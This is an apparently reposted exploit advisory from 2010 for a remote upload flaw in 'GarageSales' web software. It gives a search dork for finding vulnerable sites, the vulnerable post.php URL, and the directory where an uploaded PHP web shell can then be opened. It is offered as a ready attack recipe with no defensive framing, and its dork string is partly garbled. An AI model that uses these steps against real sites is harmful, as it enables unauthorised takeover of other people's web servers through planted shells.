GarageSales Remote Upload Vulnerability

[Mr.XpR]

[align=LEFT][php]

# Title: GarageSales Remote Upload Vulnerability
# EDB-ID: 12128
# CVE-ID: ()
# OSVDB-ID: ()
# Author: saidinh0
# Published: 2010-04-09
# Verified: no
# Download Exploit Code
# Download N/A

view source
print?
# Exploit Title: [GarageSales Remote Upload Vulnerability]
# Date: [06/04/2010]
# Author: [saidinh0]
# Software Link: [N/A]
# Version: [2004/2008]
# Tested on: [Linux/unix]
# CVE : [if exists]
# Code : [N/A]
#Email : [email protected]

####################
| Intorduction :`|

Hi everybody , This my first bug (Remote Upload Vulnerability) and I wish you like it
#################

[Dork ]: inurlost.php?Category=Garage

{exploit} : http://127.0.0.1/post.php?Category=Garage

Example : http://[site]/searchgarage/post.php?Category=Garage

After you have uploaded your shells , you will find it in this Path : http://[site]/up_files/YouRShell.php


Example : http://[site]/searchgarage/up_files/1269813788CrewSheLL.php

[/php][/align]